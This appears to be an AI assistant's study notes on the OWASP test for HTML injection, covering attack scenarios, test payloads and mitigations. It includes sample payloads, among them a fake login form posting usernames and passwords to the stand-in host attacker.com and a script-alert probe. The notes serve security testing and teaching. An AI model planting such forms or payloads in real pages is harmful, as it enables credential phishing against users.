Got it 👍 Let’s prepare **WSTG notes for “Testing for HTML Injection” (WSTG-CLNT-03)**.

**📝 Notes: Testing for HTML Injection**

**🎯 Purpose**

To check if **user-supplied input** is directly injected into the **HTML document structure** without sanitization.

* Unlike XSS, HTML Injection does **not always lead to JavaScript execution**, but it can still alter the page’s structure, mislead users, or aid phishing attacks.

**⚡ Common Attack Scenarios**

1. **Defacement / Content Injection**
   * Injecting new elements into the page.
2. <h1>You are hacked!</h1>
3. **Phishing / Fake Login Forms**
4. <form action="http://attacker.com/steal" method="post">
5. <input type="text" name="username">
6. <input type="password" name="password">
7. </form>
8. **UI Redressing**
   * Inserting misleading buttons, banners, or messages.
9. **Aid to XSS**
   * If injection point allows script tags or event attributes, HTML Injection can escalate to XSS.

**🔍 How to Test**

1. **Inject Basic HTML Tags**
   * <b>test</b> → See if text becomes bold.
   * <h1>Injected</h1> → Check if header renders.
2. **Inject Forms/Links**
   * <a href="http://attacker.com">Click here</a>
   * <input type=text value="hacked">
3. **Check if Script Allowed**
   * <script>alert(1)</script> (if executes → XSS, not just HTML injection).
4. **Test Encoded Variants**
   * &lt;h1&gt;test&lt;/h1&gt; should be escaped → if decoded, vulnerable.
5. **Use Interception Proxy (Burp/ZAP)**
   * Modify parameters in POST/GET requests and observe rendered output.

**🛡️ Mitigation**

* Apply **HTML entity encoding** before rendering untrusted input.
* Use **content sanitization libraries** (DOMPurify, OWASP Java Encoder).
* Store and display **data only as text**, not as raw HTML.
* Implement **CSP** to reduce impact if injection occurs.

✅ **Key Takeaway:**  
HTML Injection occurs when untrusted input is injected into the page’s HTML. It may not always lead to JavaScript execution, but can be used for **phishing, UI manipulation, and XSS escalation**.

👉 Do you want me to also make a **side-by-side quick diff between HTML Injection vs XSS** so you can clearly see when an injection is just HTML manipulation vs when it becomes code execution?